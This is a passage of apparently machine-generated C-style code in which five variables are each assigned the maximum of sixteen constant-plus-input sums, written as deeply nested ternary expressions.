x_16_ = (((((10.0 + x_0) > (2.0 + x_3)? (10.0 + x_0) : (2.0 + x_3)) > ((19.0 + x_4) > (10.0 + x_5)? (19.0 + x_4) : (10.0 + x_5))? ((10.0 + x_0) > (2.0 + x_3)? (10.0 + x_0) : (2.0 + x_3)) : ((19.0 + x_4) > (10.0 + x_5)? (19.0 + x_4) : (10.0 + x_5))) > (((1.0 + x_7) > (5.0 + x_10)? (1.0 + x_7) : (5.0 + x_10)) > ((13.0 + x_12) > (17.0 + x_14)? (13.0 + x_12) : (17.0 + x_14))? ((1.0 + x_7) > (5.0 + x_10)? (1.0 + x_7) : (5.0 + x_10)) : ((13.0 + x_12) > (17.0 + x_14)? (13.0 + x_12) : (17.0 + x_14)))? (((10.0 + x_0) > (2.0 + x_3)? (10.0 + x_0) : (2.0 + x_3)) > ((19.0 + x_4) > (10.0 + x_5)? (19.0 + x_4) : (10.0 + x_5))? ((10.0 + x_0) > (2.0 + x_3)? (10.0 + x_0) : (2.0 + x_3)) : ((19.0 + x_4) > (10.0 + x_5)? (19.0 + x_4) : (10.0 + x_5))) : (((1.0 + x_7) > (5.0 + x_10)? (1.0 + x_7) : (5.0 + x_10)) > ((13.0 + x_12) > (17.0 + x_14)? (13.0 + x_12) : (17.0 + x_14))? ((1.0 + x_7) > (5.0 + x_10)? (1.0 + x_7) : (5.0 + x_10)) : ((13.0 + x_12) > (17.0 + x_14)? (13.0 + x_12) : (17.0 + x_14)))) > ((((4.0 + x_16) > (2.0 + x_17)? (4.0 + x_16) : (2.0 + x_17)) > ((11.0 + x_21) > (19.0 + x_22)? (11.0 + x_21) : (19.0 + x_22))? ((4.0 + x_16) > (2.0 + x_17)? (4.0 + x_16) : (2.0 + x_17)) : ((11.0 + x_21) > (19.0 + x_22)? (11.0 + x_21) : (19.0 + x_22))) > (((6.0 + x_24) > (20.0 + x_25)? (6.0 + x_24) : (20.0 + x_25)) > ((2.0 + x_26) > (14.0 + x_31)? (2.0 + x_26) : (14.0 + x_31))? ((6.0 + x_24) > (20.0 + x_25)? (6.0 + x_24) : (20.0 + x_25)) : ((2.0 + x_26) > (14.0 + x_31)? (2.0 + x_26) : (14.0 + x_31)))? (((4.0 + x_16) > (2.0 + x_17)? (4.0 + x_16) : (2.0 + x_17)) > ((11.0 + x_21) > (19.0 + x_22)? (11.0 + x_21) : (19.0 + x_22))? ((4.0 + x_16) > (2.0 + x_17)? (4.0 + x_16) : (2.0 + x_17)) : ((11.0 + x_21) > (19.0 + x_22)? (11.0 + x_21) : (19.0 + x_22))) : (((6.0 + x_24) > (20.0 + x_25)? (6.0 + x_24) : (20.0 + x_25)) > ((2.0 + x_26) > (14.0 + x_31)? (2.0 + x_26) : (14.0 + x_31))? ((6.0 + x_24) > (20.0 + x_25)? (6.0 + x_24) : (20.0 + x_25)) : ((2.0 + x_26) > (14.0 + x_31)? (2.0 + x_26) : (14.0 + x_31))))? ((((10.0 + x_0) > (2.0 + x_3)? (10.0 + x_0) : (2.0 + x_3)) > ((19.0 + x_4) > (10.0 + x_5)? (19.0 + x_4) : (10.0 + x_5))? ((10.0 + x_0) > (2.0 + x_3)? (10.0 + x_0) : (2.0 + x_3)) : ((19.0 + x_4) > (10.0 + x_5)? (19.0 + x_4) : (10.0 + x_5))) > (((1.0 + x_7) > (5.0 + x_10)? (1.0 + x_7) : (5.0 + x_10)) > ((13.0 + x_12) > (17.0 + x_14)? (13.0 + x_12) : (17.0 + x_14))? ((1.0 + x_7) > (5.0 + x_10)? (1.0 + x_7) : (5.0 + x_10)) : ((13.0 + x_12) > (17.0 + x_14)? (13.0 + x_12) : (17.0 + x_14)))? (((10.0 + x_0) > (2.0 + x_3)? (10.0 + x_0) : (2.0 + x_3)) > ((19.0 + x_4) > (10.0 + x_5)? (19.0 + x_4) : (10.0 + x_5))? ((10.0 + x_0) > (2.0 + x_3)? (10.0 + x_0) : (2.0 + x_3)) : ((19.0 + x_4) > (10.0 + x_5)? (19.0 + x_4) : (10.0 + x_5))) : (((1.0 + x_7) > (5.0 + x_10)? (1.0 + x_7) : (5.0 + x_10)) > ((13.0 + x_12) > (17.0 + x_14)? (13.0 + x_12) : (17.0 + x_14))? ((1.0 + x_7) > (5.0 + x_10)? (1.0 + x_7) : (5.0 + x_10)) : ((13.0 + x_12) > (17.0 + x_14)? (13.0 + x_12) : (17.0 + x_14)))) : ((((4.0 + x_16) > (2.0 + x_17)? (4.0 + x_16) : (2.0 + x_17)) > ((11.0 + x_21) > (19.0 + x_22)? (11.0 + x_21) : (19.0 + x_22))? ((4.0 + x_16) > (2.0 + x_17)? (4.0 + x_16) : (2.0 + x_17)) : ((11.0 + x_21) > (19.0 + x_22)? (11.0 + x_21) : (19.0 + x_22))) > (((6.0 + x_24) > (20.0 + x_25)? (6.0 + x_24) : (20.0 + x_25)) > ((2.0 + x_26) > (14.0 + x_31)? (2.0 + x_26) : (14.0 + x_31))? ((6.0 + x_24) > (20.0 + x_25)? (6.0 + x_24) : (20.0 + x_25)) : ((2.0 + x_26) > (14.0 + x_31)? (2.0 + x_26) : (14.0 + x_31)))? (((4.0 + x_16) > (2.0 + x_17)? (4.0 + x_16) : (2.0 + x_17)) > ((11.0 + x_21) > (19.0 + x_22)? (11.0 + x_21) : (19.0 + x_22))? ((4.0 + x_16) > (2.0 + x_17)? (4.0 + x_16) : (2.0 + x_17)) : ((11.0 + x_21) > (19.0 + x_22)? (11.0 + x_21) : (19.0 + x_22))) : (((6.0 + x_24) > (20.0 + x_25)? (6.0 + x_24) : (20.0 + x_25)) > ((2.0 + x_26) > (14.0 + x_31)? (2.0 + x_26) : (14.0 + x_31))? ((6.0 + x_24) > (20.0 + x_25)? (6.0 + x_24) : (20.0 + x_25)) : ((2.0 + x_26) > (14.0 + x_31)? (2.0 + x_26) : (14.0 + x_31)))));
x_17_ = (((((17.0 + x_0) > (13.0 + x_1)? (17.0 + x_0) : (13.0 + x_1)) > ((17.0 + x_3) > (17.0 + x_6)? (17.0 + x_3) : (17.0 + x_6))? ((17.0 + x_0) > (13.0 + x_1)? (17.0 + x_0) : (13.0 + x_1)) : ((17.0 + x_3) > (17.0 + x_6)? (17.0 + x_3) : (17.0 + x_6))) > (((5.0 + x_7) > (7.0 + x_9)? (5.0 + x_7) : (7.0 + x_9)) > ((9.0 + x_11) > (10.0 + x_15)? (9.0 + x_11) : (10.0 + x_15))? ((5.0 + x_7) > (7.0 + x_9)? (5.0 + x_7) : (7.0 + x_9)) : ((9.0 + x_11) > (10.0 + x_15)? (9.0 + x_11) : (10.0 + x_15)))? (((17.0 + x_0) > (13.0 + x_1)? (17.0 + x_0) : (13.0 + x_1)) > ((17.0 + x_3) > (17.0 + x_6)? (17.0 + x_3) : (17.0 + x_6))? ((17.0 + x_0) > (13.0 + x_1)? (17.0 + x_0) : (13.0 + x_1)) : ((17.0 + x_3) > (17.0 + x_6)? (17.0 + x_3) : (17.0 + x_6))) : (((5.0 + x_7) > (7.0 + x_9)? (5.0 + x_7) : (7.0 + x_9)) > ((9.0 + x_11) > (10.0 + x_15)? (9.0 + x_11) : (10.0 + x_15))? ((5.0 + x_7) > (7.0 + x_9)? (5.0 + x_7) : (7.0 + x_9)) : ((9.0 + x_11) > (10.0 + x_15)? (9.0 + x_11) : (10.0 + x_15)))) > ((((17.0 + x_16) > (18.0 + x_18)? (17.0 + x_16) : (18.0 + x_18)) > ((2.0 + x_20) > (12.0 + x_23)? (2.0 + x_20) : (12.0 + x_23))? ((17.0 + x_16) > (18.0 + x_18)? (17.0 + x_16) : (18.0 + x_18)) : ((2.0 + x_20) > (12.0 + x_23)? (2.0 + x_20) : (12.0 + x_23))) > (((4.0 + x_26) > (16.0 + x_27)? (4.0 + x_26) : (16.0 + x_27)) > ((8.0 + x_30) > (9.0 + x_31)? (8.0 + x_30) : (9.0 + x_31))? ((4.0 + x_26) > (16.0 + x_27)? (4.0 + x_26) : (16.0 + x_27)) : ((8.0 + x_30) > (9.0 + x_31)? (8.0 + x_30) : (9.0 + x_31)))? (((17.0 + x_16) > (18.0 + x_18)? (17.0 + x_16) : (18.0 + x_18)) > ((2.0 + x_20) > (12.0 + x_23)? (2.0 + x_20) : (12.0 + x_23))? ((17.0 + x_16) > (18.0 + x_18)? (17.0 + x_16) : (18.0 + x_18)) : ((2.0 + x_20) > (12.0 + x_23)? (2.0 + x_20) : (12.0 + x_23))) : (((4.0 + x_26) > (16.0 + x_27)? (4.0 + x_26) : (16.0 + x_27)) > ((8.0 + x_30) > (9.0 + x_31)? (8.0 + x_30) : (9.0 + x_31))? ((4.0 + x_26) > (16.0 + x_27)? (4.0 + x_26) : (16.0 + x_27)) : ((8.0 + x_30) > (9.0 + x_31)? (8.0 + x_30) : (9.0 + x_31))))? ((((17.0 + x_0) > (13.0 + x_1)? (17.0 + x_0) : (13.0 + x_1)) > ((17.0 + x_3) > (17.0 + x_6)? (17.0 + x_3) : (17.0 + x_6))? ((17.0 + x_0) > (13.0 + x_1)? (17.0 + x_0) : (13.0 + x_1)) : ((17.0 + x_3) > (17.0 + x_6)? (17.0 + x_3) : (17.0 + x_6))) > (((5.0 + x_7) > (7.0 + x_9)? (5.0 + x_7) : (7.0 + x_9)) > ((9.0 + x_11) > (10.0 + x_15)? (9.0 + x_11) : (10.0 + x_15))? ((5.0 + x_7) > (7.0 + x_9)? (5.0 + x_7) : (7.0 + x_9)) : ((9.0 + x_11) > (10.0 + x_15)? (9.0 + x_11) : (10.0 + x_15)))? (((17.0 + x_0) > (13.0 + x_1)? (17.0 + x_0) : (13.0 + x_1)) > ((17.0 + x_3) > (17.0 + x_6)? (17.0 + x_3) : (17.0 + x_6))? ((17.0 + x_0) > (13.0 + x_1)? (17.0 + x_0) : (13.0 + x_1)) : ((17.0 + x_3) > (17.0 + x_6)? (17.0 + x_3) : (17.0 + x_6))) : (((5.0 + x_7) > (7.0 + x_9)? (5.0 + x_7) : (7.0 + x_9)) > ((9.0 + x_11) > (10.0 + x_15)? (9.0 + x_11) : (10.0 + x_15))? ((5.0 + x_7) > (7.0 + x_9)? (5.0 + x_7) : (7.0 + x_9)) : ((9.0 + x_11) > (10.0 + x_15)? (9.0 + x_11) : (10.0 + x_15)))) : ((((17.0 + x_16) > (18.0 + x_18)? (17.0 + x_16) : (18.0 + x_18)) > ((2.0 + x_20) > (12.0 + x_23)? (2.0 + x_20) : (12.0 + x_23))? ((17.0 + x_16) > (18.0 + x_18)? (17.0 + x_16) : (18.0 + x_18)) : ((2.0 + x_20) > (12.0 + x_23)? (2.0 + x_20) : (12.0 + x_23))) > (((4.0 + x_26) > (16.0 + x_27)? (4.0 + x_26) : (16.0 + x_27)) > ((8.0 + x_30) > (9.0 + x_31)? (8.0 + x_30) : (9.0 + x_31))? ((4.0 + x_26) > (16.0 + x_27)? (4.0 + x_26) : (16.0 + x_27)) : ((8.0 + x_30) > (9.0 + x_31)? (8.0 + x_30) : (9.0 + x_31)))? (((17.0 + x_16) > (18.0 + x_18)? (17.0 + x_16) : (18.0 + x_18)) > ((2.0 + x_20) > (12.0 + x_23)? (2.0 + x_20) : (12.0 + x_23))? ((17.0 + x_16) > (18.0 + x_18)? (17.0 + x_16) : (18.0 + x_18)) : ((2.0 + x_20) > (12.0 + x_23)? (2.0 + x_20) : (12.0 + x_23))) : (((4.0 + x_26) > (16.0 + x_27)? (4.0 + x_26) : (16.0 + x_27)) > ((8.0 + x_30) > (9.0 + x_31)? (8.0 + x_30) : (9.0 + x_31))? ((4.0 + x_26) > (16.0 + x_27)? (4.0 + x_26) : (16.0 + x_27)) : ((8.0 + x_30) > (9.0 + x_31)? (8.0 + x_30) : (9.0 + x_31)))));
x_18_ = (((((20.0 + x_1) > (1.0 + x_6)? (20.0 + x_1) : (1.0 + x_6)) > ((6.0 + x_7) > (10.0 + x_9)? (6.0 + x_7) : (10.0 + x_9))? ((20.0 + x_1) > (1.0 + x_6)? (20.0 + x_1) : (1.0 + x_6)) : ((6.0 + x_7) > (10.0 + x_9)? (6.0 + x_7) : (10.0 + x_9))) > (((7.0 + x_10) > (8.0 + x_11)? (7.0 + x_10) : (8.0 + x_11)) > ((18.0 + x_12) > (10.0 + x_15)? (18.0 + x_12) : (10.0 + x_15))? ((7.0 + x_10) > (8.0 + x_11)? (7.0 + x_10) : (8.0 + x_11)) : ((18.0 + x_12) > (10.0 + x_15)? (18.0 + x_12) : (10.0 + x_15)))? (((20.0 + x_1) > (1.0 + x_6)? (20.0 + x_1) : (1.0 + x_6)) > ((6.0 + x_7) > (10.0 + x_9)? (6.0 + x_7) : (10.0 + x_9))? ((20.0 + x_1) > (1.0 + x_6)? (20.0 + x_1) : (1.0 + x_6)) : ((6.0 + x_7) > (10.0 + x_9)? (6.0 + x_7) : (10.0 + x_9))) : (((7.0 + x_10) > (8.0 + x_11)? (7.0 + x_10) : (8.0 + x_11)) > ((18.0 + x_12) > (10.0 + x_15)? (18.0 + x_12) : (10.0 + x_15))? ((7.0 + x_10) > (8.0 + x_11)? (7.0 + x_10) : (8.0 + x_11)) : ((18.0 + x_12) > (10.0 + x_15)? (18.0 + x_12) : (10.0 + x_15)))) > ((((8.0 + x_16) > (6.0 + x_17)? (8.0 + x_16) : (6.0 + x_17)) > ((12.0 + x_19) > (15.0 + x_23)? (12.0 + x_19) : (15.0 + x_23))? ((8.0 + x_16) > (6.0 + x_17)? (8.0 + x_16) : (6.0 + x_17)) : ((12.0 + x_19) > (15.0 + x_23)? (12.0 + x_19) : (15.0 + x_23))) > (((14.0 + x_24) > (10.0 + x_29)? (14.0 + x_24) : (10.0 + x_29)) > ((20.0 + x_30) > (6.0 + x_31)? (20.0 + x_30) : (6.0 + x_31))? ((14.0 + x_24) > (10.0 + x_29)? (14.0 + x_24) : (10.0 + x_29)) : ((20.0 + x_30) > (6.0 + x_31)? (20.0 + x_30) : (6.0 + x_31)))? (((8.0 + x_16) > (6.0 + x_17)? (8.0 + x_16) : (6.0 + x_17)) > ((12.0 + x_19) > (15.0 + x_23)? (12.0 + x_19) : (15.0 + x_23))? ((8.0 + x_16) > (6.0 + x_17)? (8.0 + x_16) : (6.0 + x_17)) : ((12.0 + x_19) > (15.0 + x_23)? (12.0 + x_19) : (15.0 + x_23))) : (((14.0 + x_24) > (10.0 + x_29)? (14.0 + x_24) : (10.0 + x_29)) > ((20.0 + x_30) > (6.0 + x_31)? (20.0 + x_30) : (6.0 + x_31))? ((14.0 + x_24) > (10.0 + x_29)? (14.0 + x_24) : (10.0 + x_29)) : ((20.0 + x_30) > (6.0 + x_31)? (20.0 + x_30) : (6.0 + x_31))))? ((((20.0 + x_1) > (1.0 + x_6)? (20.0 + x_1) : (1.0 + x_6)) > ((6.0 + x_7) > (10.0 + x_9)? (6.0 + x_7) : (10.0 + x_9))? ((20.0 + x_1) > (1.0 + x_6)? (20.0 + x_1) : (1.0 + x_6)) : ((6.0 + x_7) > (10.0 + x_9)? (6.0 + x_7) : (10.0 + x_9))) > (((7.0 + x_10) > (8.0 + x_11)? (7.0 + x_10) : (8.0 + x_11)) > ((18.0 + x_12) > (10.0 + x_15)? (18.0 + x_12) : (10.0 + x_15))? ((7.0 + x_10) > (8.0 + x_11)? (7.0 + x_10) : (8.0 + x_11)) : ((18.0 + x_12) > (10.0 + x_15)? (18.0 + x_12) : (10.0 + x_15)))? (((20.0 + x_1) > (1.0 + x_6)? (20.0 + x_1) : (1.0 + x_6)) > ((6.0 + x_7) > (10.0 + x_9)? (6.0 + x_7) : (10.0 + x_9))? ((20.0 + x_1) > (1.0 + x_6)? (20.0 + x_1) : (1.0 + x_6)) : ((6.0 + x_7) > (10.0 + x_9)? (6.0 + x_7) : (10.0 + x_9))) : (((7.0 + x_10) > (8.0 + x_11)? (7.0 + x_10) : (8.0 + x_11)) > ((18.0 + x_12) > (10.0 + x_15)? (18.0 + x_12) : (10.0 + x_15))? ((7.0 + x_10) > (8.0 + x_11)? (7.0 + x_10) : (8.0 + x_11)) : ((18.0 + x_12) > (10.0 + x_15)? (18.0 + x_12) : (10.0 + x_15)))) : ((((8.0 + x_16) > (6.0 + x_17)? (8.0 + x_16) : (6.0 + x_17)) > ((12.0 + x_19) > (15.0 + x_23)? (12.0 + x_19) : (15.0 + x_23))? ((8.0 + x_16) > (6.0 + x_17)? (8.0 + x_16) : (6.0 + x_17)) : ((12.0 + x_19) > (15.0 + x_23)? (12.0 + x_19) : (15.0 + x_23))) > (((14.0 + x_24) > (10.0 + x_29)? (14.0 + x_24) : (10.0 + x_29)) > ((20.0 + x_30) > (6.0 + x_31)? (20.0 + x_30) : (6.0 + x_31))? ((14.0 + x_24) > (10.0 + x_29)? (14.0 + x_24) : (10.0 + x_29)) : ((20.0 + x_30) > (6.0 + x_31)? (20.0 + x_30) : (6.0 + x_31)))? (((8.0 + x_16) > (6.0 + x_17)? (8.0 + x_16) : (6.0 + x_17)) > ((12.0 + x_19) > (15.0 + x_23)? (12.0 + x_19) : (15.0 + x_23))? ((8.0 + x_16) > (6.0 + x_17)? (8.0 + x_16) : (6.0 + x_17)) : ((12.0 + x_19) > (15.0 + x_23)? (12.0 + x_19) : (15.0 + x_23))) : (((14.0 + x_24) > (10.0 + x_29)? (14.0 + x_24) : (10.0 + x_29)) > ((20.0 + x_30) > (6.0 + x_31)? (20.0 + x_30) : (6.0 + x_31))? ((14.0 + x_24) > (10.0 + x_29)? (14.0 + x_24) : (10.0 + x_29)) : ((20.0 + x_30) > (6.0 + x_31)? (20.0 + x_30) : (6.0 + x_31)))));
x_19_ = (((((15.0 + x_0) > (20.0 + x_4)? (15.0 + x_0) : (20.0 + x_4)) > ((6.0 + x_8) > (14.0 + x_11)? (6.0 + x_8) : (14.0 + x_11))? ((15.0 + x_0) > (20.0 + x_4)? (15.0 + x_0) : (20.0 + x_4)) : ((6.0 + x_8) > (14.0 + x_11)? (6.0 + x_8) : (14.0 + x_11))) > (((11.0 + x_14) > (3.0 + x_16)? (11.0 + x_14) : (3.0 + x_16)) > ((13.0 + x_17) > (11.0 + x_18)? (13.0 + x_17) : (11.0 + x_18))? ((11.0 + x_14) > (3.0 + x_16)? (11.0 + x_14) : (3.0 + x_16)) : ((13.0 + x_17) > (11.0 + x_18)? (13.0 + x_17) : (11.0 + x_18)))? (((15.0 + x_0) > (20.0 + x_4)? (15.0 + x_0) : (20.0 + x_4)) > ((6.0 + x_8) > (14.0 + x_11)? (6.0 + x_8) : (14.0 + x_11))? ((15.0 + x_0) > (20.0 + x_4)? (15.0 + x_0) : (20.0 + x_4)) : ((6.0 + x_8) > (14.0 + x_11)? (6.0 + x_8) : (14.0 + x_11))) : (((11.0 + x_14) > (3.0 + x_16)? (11.0 + x_14) : (3.0 + x_16)) > ((13.0 + x_17) > (11.0 + x_18)? (13.0 + x_17) : (11.0 + x_18))? ((11.0 + x_14) > (3.0 + x_16)? (11.0 + x_14) : (3.0 + x_16)) : ((13.0 + x_17) > (11.0 + x_18)? (13.0 + x_17) : (11.0 + x_18)))) > ((((2.0 + x_20) > (18.0 + x_21)? (2.0 + x_20) : (18.0 + x_21)) > ((11.0 + x_23) > (1.0 + x_24)? (11.0 + x_23) : (1.0 + x_24))? ((2.0 + x_20) > (18.0 + x_21)? (2.0 + x_20) : (18.0 + x_21)) : ((11.0 + x_23) > (1.0 + x_24)? (11.0 + x_23) : (1.0 + x_24))) > (((14.0 + x_25) > (16.0 + x_27)? (14.0 + x_25) : (16.0 + x_27)) > ((10.0 + x_28) > (14.0 + x_29)? (10.0 + x_28) : (14.0 + x_29))? ((14.0 + x_25) > (16.0 + x_27)? (14.0 + x_25) : (16.0 + x_27)) : ((10.0 + x_28) > (14.0 + x_29)? (10.0 + x_28) : (14.0 + x_29)))? (((2.0 + x_20) > (18.0 + x_21)? (2.0 + x_20) : (18.0 + x_21)) > ((11.0 + x_23) > (1.0 + x_24)? (11.0 + x_23) : (1.0 + x_24))? ((2.0 + x_20) > (18.0 + x_21)? (2.0 + x_20) : (18.0 + x_21)) : ((11.0 + x_23) > (1.0 + x_24)? (11.0 + x_23) : (1.0 + x_24))) : (((14.0 + x_25) > (16.0 + x_27)? (14.0 + x_25) : (16.0 + x_27)) > ((10.0 + x_28) > (14.0 + x_29)? (10.0 + x_28) : (14.0 + x_29))? ((14.0 + x_25) > (16.0 + x_27)? (14.0 + x_25) : (16.0 + x_27)) : ((10.0 + x_28) > (14.0 + x_29)? (10.0 + x_28) : (14.0 + x_29))))? ((((15.0 + x_0) > (20.0 + x_4)? (15.0 + x_0) : (20.0 + x_4)) > ((6.0 + x_8) > (14.0 + x_11)? (6.0 + x_8) : (14.0 + x_11))? ((15.0 + x_0) > (20.0 + x_4)? (15.0 + x_0) : (20.0 + x_4)) : ((6.0 + x_8) > (14.0 + x_11)? (6.0 + x_8) : (14.0 + x_11))) > (((11.0 + x_14) > (3.0 + x_16)? (11.0 + x_14) : (3.0 + x_16)) > ((13.0 + x_17) > (11.0 + x_18)? (13.0 + x_17) : (11.0 + x_18))? ((11.0 + x_14) > (3.0 + x_16)? (11.0 + x_14) : (3.0 + x_16)) : ((13.0 + x_17) > (11.0 + x_18)? (13.0 + x_17) : (11.0 + x_18)))? (((15.0 + x_0) > (20.0 + x_4)? (15.0 + x_0) : (20.0 + x_4)) > ((6.0 + x_8) > (14.0 + x_11)? (6.0 + x_8) : (14.0 + x_11))? ((15.0 + x_0) > (20.0 + x_4)? (15.0 + x_0) : (20.0 + x_4)) : ((6.0 + x_8) > (14.0 + x_11)? (6.0 + x_8) : (14.0 + x_11))) : (((11.0 + x_14) > (3.0 + x_16)? (11.0 + x_14) : (3.0 + x_16)) > ((13.0 + x_17) > (11.0 + x_18)? (13.0 + x_17) : (11.0 + x_18))? ((11.0 + x_14) > (3.0 + x_16)? (11.0 + x_14) : (3.0 + x_16)) : ((13.0 + x_17) > (11.0 + x_18)? (13.0 + x_17) : (11.0 + x_18)))) : ((((2.0 + x_20) > (18.0 + x_21)? (2.0 + x_20) : (18.0 + x_21)) > ((11.0 + x_23) > (1.0 + x_24)? (11.0 + x_23) : (1.0 + x_24))? ((2.0 + x_20) > (18.0 + x_21)? (2.0 + x_20) : (18.0 + x_21)) : ((11.0 + x_23) > (1.0 + x_24)? (11.0 + x_23) : (1.0 + x_24))) > (((14.0 + x_25) > (16.0 + x_27)? (14.0 + x_25) : (16.0 + x_27)) > ((10.0 + x_28) > (14.0 + x_29)? (10.0 + x_28) : (14.0 + x_29))? ((14.0 + x_25) > (16.0 + x_27)? (14.0 + x_25) : (16.0 + x_27)) : ((10.0 + x_28) > (14.0 + x_29)? (10.0 + x_28) : (14.0 + x_29)))? (((2.0 + x_20) > (18.0 + x_21)? (2.0 + x_20) : (18.0 + x_21)) > ((11.0 + x_23) > (1.0 + x_24)? (11.0 + x_23) : (1.0 + x_24))? ((2.0 + x_20) > (18.0 + x_21)? (2.0 + x_20) : (18.0 + x_21)) : ((11.0 + x_23) > (1.0 + x_24)? (11.0 + x_23) : (1.0 + x_24))) : (((14.0 + x_25) > (16.0 + x_27)? (14.0 + x_25) : (16.0 + x_27)) > ((10.0 + x_28) > (14.0 + x_29)? (10.0 + x_28) : (14.0 + x_29))? ((14.0 + x_25) > (16.0 + x_27)? (14.0 + x_25) : (16.0 + x_27)) : ((10.0 + x_28) > (14.0 + x_29)? (10.0 + x_28) : (14.0 + x_29)))));
x_20_ = (((((1.0 + x_0) > (20.0 + x_2)? (1.0 + x_0) : (20.0 + x_2)) > ((8.0 + x_6) > (18.0 + x_9)? (8.0 + x_6) : (18.0 + x_9))? ((1.0 + x_0) > (20.0 + x_2)? (1.0 + x_0) : (20.0 + x_2)) : ((8.0 + x_6) > (18.0 + x_9)? (8.0 + x_6) : (18.0 + x_9))) > (((11.0 + x_12) > (8.0 + x_13)? (11.0 + x_12) : (8.0 + x_13)) > ((12.0 + x_14) > (18.0 + x_15)? (12.0 + x_14) : (18.0 + x_15))? ((11.0 + x_12) > (8.0 + x_13)? (11.0 + x_12) : (8.0 + x_13)) : ((12.0 + x_14) > (18.0 + x_15)? (12.0 + x_14) : (18.0 + x_15)))? (((1.0 + x_0) > (20.0 + x_2)? (1.0 + x_0) : (20.0 + x_2)) > ((8.0 + x_6) > (18.0 + x_9)? (8.0 + x_6) : (18.0 + x_9))? ((1.0 + x_0) > (20.0 + x_2)? (1.0 + x_0) : (20.0 + x_2)) : ((8.0 + x_6) > (18.0 + x_9)? (8.0 + x_6) : (18.0 + x_9))) : (((11.0 + x_12) > (8.0 + x_13)? (11.0 + x_12) : (8.0 + x_13)) > ((12.0 + x_14) > (18.0 + x_15)? (12.0 + x_14) : (18.0 + x_15))? ((11.0 + x_12) > (8.0 + x_13)? (11.0 + x_12) : (8.0 + x_13)) : ((12.0 + x_14) > (18.0 + x_15)? (12.0 + x_14) : (18.0 + x_15)))) > ((((9.0 + x_16) > (6.0 + x_19)? (9.0 + x_16) : (6.0 + x_19)) > ((4.0 + x_20) > (15.0 + x_21)? (4.0 + x_20) : (15.0 + x_21))? ((9.0 + x_16) > (6.0 + x_19)? (9.0 + x_16) : (6.0 + x_19)) : ((4.0 + x_20) > (15.0 + x_21)? (4.0 + x_20) : (15.0 + x_21))) > (((17.0 + x_22) > (1.0 + x_23)? (17.0 + x_22) : (1.0 + x_23)) > ((9.0 + x_25) > (3.0 + x_26)? (9.0 + x_25) : (3.0 + x_26))? ((17.0 + x_22) > (1.0 + x_23)? (17.0 + x_22) : (1.0 + x_23)) : ((9.0 + x_25) > (3.0 + x_26)? (9.0 + x_25) : (3.0 + x_26)))? (((9.0 + x_16) > (6.0 + x_19)? (9.0 + x_16) : (6.0 + x_19)) > ((4.0 + x_20) > (15.0 + x_21)? (4.0 + x_20) : (15.0 + x_21))? ((9.0 + x_16) > (6.0 + x_19)? (9.0 + x_16) : (6.0 + x_19)) : ((4.0 + x_20) > (15.0 + x_21)? (4.0 + x_20) : (15.0 + x_21))) : (((17.0 + x_22) > (1.0 + x_23)? (17.0 + x_22) : (1.0 + x_23)) > ((9.0 + x_25) > (3.0 + x_26)? (9.0 + x_25) : (3.0 + x_26))? ((17.0 + x_22) > (1.0 + x_23)? (17.0 + x_22) : (1.0 + x_23)) : ((9.0 + x_25) > (3.0 + x_26)? (9.0 + x_25) : (3.0 + x_26))))? ((((1.0 + x_0) > (20.0 + x_2)? (1.0 + x_0) : (20.0 + x_2)) > ((8.0 + x_6) > (18.0 + x_9)? (8.0 + x_6) : (18.0 + x_9))? ((1.0 + x_0) > (20.0 + x_2)? (1.0 + x_0) : (20.0 + x_2)) : ((8.0 + x_6) > (18.0 + x_9)? (8.0 + x_6) : (18.0 + x_9))) > (((11.0 + x_12) > (8.0 + x_13)? (11.0 + x_12) : (8.0 + x_13)) > ((12.0 + x_14) > (18.0 + x_15)? (12.0 + x_14) : (18.0 + x_15))? ((11.0 + x_12) > (8.0 + x_13)? (11.0 + x_12) : (8.0 + x_13)) : ((12.0 + x_14) > (18.0 + x_15)? (12.0 + x_14) : (18.0 + x_15)))? (((1.0 + x_0) > (20.0 + x_2)? (1.0 + x_0) : (20.0 + x_2)) > ((8.0 + x_6) > (18.0 + x_9)? (8.0 + x_6) : (18.0 + x_9))? ((1.0 + x_0) > (20.0 + x_2)? (1.0 + x_0) : (20.0 + x_2)) : ((8.0 + x_6) > (18.0 + x_9)? (8.0 + x_6) : (18.0 + x_9))) : (((11.0 + x_12) > (8.0 + x_13)? (11.0 + x_12) : (8.0 + x_13)) > ((12.0 + x_14) > (18.0 + x_15)? (12.0 + x_14) : (18.0 + x_15))? ((11.0 + x_12) > (8.0 + x_13)? (11.0 + x_12) : (8.0 + x_13)) : ((12.0 + x_14) > (18.0 + x_15)? (12.0 + x_14) : (18.0 + x_15)))) : ((((9.0 + x_16) > (6.0 + x_19)? (9.0 + x_16) : (6.0 + x_19)) > ((4.0 + x_20) > (15.0 + x_21)? (4.0 + x_20) : (15.0 + x_21))? ((9.0 + x_16) > (6.0 + x_19)? (9.0 + x_16) : (6.0 + x_19)) : ((4.0 + x_20) > (15.0 + x_21)? (4.0 + x_20) : (15.0 + x_21))) > (((17.0 + x_22) > (1.0 + x_23)? (17.0 + x_22) : (1.0 + x_23)) > ((9.0 + x_25) > (3.0 + x_26)? (9.0 + x_25) : (3.0 + x_26))? ((17.0 + x_22) > (1.0 + x_23)? (17.0 + x_22) : (1.0 + x_23)) : ((9.0 + x_25) > (3.0 + x_26)? (9.0 + x_25) : (3.0 + x_26)))? (((9.0 + x_16) > (6.0 + x_19)? (9.0 + x_16) : (6.0 + x_19)) > ((4.0 + x_20) > (15.0 + x_21)? (4.0 + x_20) : (15.0 + x_21))? ((9.0 + x_16) > (6.0 + x_19)? (9.0 + x_16) : (6.0 + x_19)) : ((4.0 + x_20) > (15.0 + x_21)? (4.0 + x_20) : (15.0 + x_21))) : (((17.0 + x_22) > (1.0 + x_23)? (17.0 + x_22) : (1.0 + x_23)) > ((9.0 + x_25) > (3.0 + x_26)? (9.0 + x_25) : (3.0 + x_26))? ((17.0 + x_22) > (1.0 + x_23)? (17.0 + x_22) : (1.0 + x_23)) : ((9.0 + x_25) > (3.0 + x_26)? (9.0 + x_25) : (3.0 + x_26)))));
